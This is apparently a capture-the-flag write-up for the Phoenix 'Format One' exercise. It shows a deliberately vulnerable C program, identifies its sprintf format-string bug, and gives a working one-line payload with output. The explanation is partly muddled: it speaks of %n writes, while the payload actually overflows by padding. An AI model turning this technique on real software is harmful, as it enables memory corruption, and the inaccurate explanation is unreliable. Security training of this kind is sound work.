Post

Format One | Phoenix - exploit.education

Format One | Phoenix - exploit.education

Format One

Ressources

Binary : format-one
Platform : exploit.education - Phoenix

Analysis

Let’s run the binary to see how it behaves.

Execution

1
2
3
4
./format-one

test
Uh oh, 'changeme' is not the magic value, it is 0x00000000

We can already see that the goal is to change the changeme variable to a specific value.

Source Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int main(int argc, char **argv) {
  struct {
    char dest[32];
    volatile int changeme;
  } locals;
  char buffer[16];

  if (fgets(buffer, sizeof(buffer) - 1, stdin) == NULL) {
    errx(1, "Unable to get buffer");
  }
  buffer[15] = 0;

  locals.changeme = 0;

  sprintf(locals.dest, buffer);

  if (locals.changeme != 0x45764f6c) {
    printf("Uh oh, 'changeme' is not the magic value, it is 0x%08x\n",
        locals.changeme);
  } else {
    puts("Well done, the 'changeme' variable has been changed correctly!");
  }

  exit(0);
}

Key Observations

  1. A buffer of 16 bytes is created to store user input.
  2. This input is copied into a structure containing a dest buffer (32 bytes) and a changeme variable (4 bytes).
  3. The vulnerable line is:
1
sprintf(locals.dest, buffer);

This is a format string vulnerability, since buffer is user-controlled and directly passed as the format string.

  1. The goal is to set changeme to 0x45764f6c.

Exploitation

Strategy

We need to:

  • Exploit the format string vulnerability.
  • Overwrite changeme with the magic value 0x45764f6c.

We’ll use format string primitives like %n to write values to specific memory locations. Here, the challenge is simplified — it only expects the magic value to be written, and the internal layout lets us achieve it without needing an exact address overwrite.

Exploit Payload

1
echo -e "%32x\x6c\x4f\x76\x45" | ./format-one

Explanation:

  • %32x will print 32 characters (pushing the number 32 into the written byte count).
  • Then we provide the value 0x45764f6c in little-endian: \x6c\x4f\x76\x45
  • This tricks sprintf() into modifying memory content and results in a successful overwrite.

Output

1
2
Welcome to phoenix/format-one, brought to you by https://exploit.education
Well done, the 'changeme' variable has been changed correctly!
This post is licensed under CC BY 4.0 by the author.